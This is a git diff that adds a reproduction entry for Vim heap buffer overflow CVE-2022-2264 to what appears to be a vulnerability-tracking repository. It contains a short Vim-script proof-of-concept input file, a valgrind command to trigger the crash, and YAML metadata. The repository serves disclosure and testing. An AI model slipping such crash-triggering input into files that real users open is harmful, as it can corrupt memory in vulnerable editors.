diff --git a/cve/vim/2022/CVE-2022-2264/README.md b/cve/vim/2022/CVE-2022-2264/README.md new file mode 100644 index 0000000000000000000000000000000000000000..283ba6399ea91ca5300c14ff7e7977f49bd10bef --- /dev/null +++ b/cve/vim/2022/CVE-2022-2264/README.md @@ -0,0 +1,5 @@ +### 漏洞复现 +```shell +$ valgrind vim -u NONE -i NONE -n -m -X -Z -e -s -S poc80min3.txt -c :qa! +``` +![](./png/CVE-2022-2264.png) \ No newline at end of file diff --git a/cve/vim/2022/CVE-2022-2264/png/CVE-2022-2264.png b/cve/vim/2022/CVE-2022-2264/png/CVE-2022-2264.png new file mode 100644 index 0000000000000000000000000000000000000000..0e2270bf897bb4ec763992dc3d3ff538228f4cd0 Binary files /dev/null and b/cve/vim/2022/CVE-2022-2264/png/CVE-2022-2264.png differ diff --git a/cve/vim/2022/CVE-2022-2264/poc80min3.txt b/cve/vim/2022/CVE-2022-2264/poc80min3.txt new file mode 100644 index 0000000000000000000000000000000000000000..018119ae4e5c4fcc35ec7a321303f7e500efcc90 --- /dev/null +++ b/cve/vim/2022/CVE-2022-2264/poc80min3.txt @@ -0,0 +1,4 @@ +norm:be!*n o +no0  p +m0 +sil!norm00 \ No newline at end of file diff --git a/cve/vim/2022/yaml/CVE-2022-2264.yaml b/cve/vim/2022/yaml/CVE-2022-2264.yaml new file mode 100644 index 0000000000000000000000000000000000000000..9df97e7af1f079e4c07b69b7e6d9d5872d0f9de8 --- /dev/null +++ b/cve/vim/2022/yaml/CVE-2022-2264.yaml @@ -0,0 +1,19 @@ +id: CVE-2022-2264 +source: https://huntr.dev/bounties/2241c773-02c9-4708-b63e-54aef99afa6c/ +info: + name: Vim是一款基于UNIX平台的编辑器。 + severity: High + description: + Vim 9.0之前版本存在安全漏洞,该漏洞源于基于堆的缓冲区溢出。 + scope-of-influence: + vim<9.0 + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2022-2264 + classification: + cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H + cvss-score: 7.8 + cve-id: CVE-2022-2264 + cwe-id: CWE-122 + cnvd-id: None + kve-id: None + tags: cve2022,缓冲区溢出 \ No newline at end of file diff --git a/cve/vim/2022/yaml/CVE-2022-2598.yaml b/cve/vim/2022/yaml/CVE-2022-2598.yaml index de7397f9a7ef41389f93f62f01ff9dcff6bff0b8..93a97db39991e17e2b969886ba593746e78dcccd 100644 --- a/cve/vim/2022/yaml/CVE-2022-2598.yaml +++ b/cve/vim/2022/yaml/CVE-2022-2598.yaml @@ -2,7 +2,7 @@ id: CVE-2022-2598 source: https://huntr.dev/bounties/2f08363a-47a2-422d-a7de-ce96a89ad08e/ info: name: Vim是一款基于UNIX平台的编辑器。 - severity: 漏洞危害 + severity: Medium description: | Vim 9.0.0100 之前版本存在安全漏洞,该漏洞源于 API 输入的未定义行为。 scope-of-influence: diff --git a/openkylin_list.yaml b/openkylin_list.yaml index 08b0d098117e7683006aec6027f1c77add14d0cd..0929ddd842d5b88a49b33c9fa7fd112031f4d783 100644 --- a/openkylin_list.yaml +++ b/openkylin_list.yaml @@ -35,6 +35,7 @@ cve: - CVE-2022-0685 - CVE-2022-0714 - CVE-2022-0729 + - CVE-2022-2264 - CVE-2022-2598 openssl: - CVE-2022-1292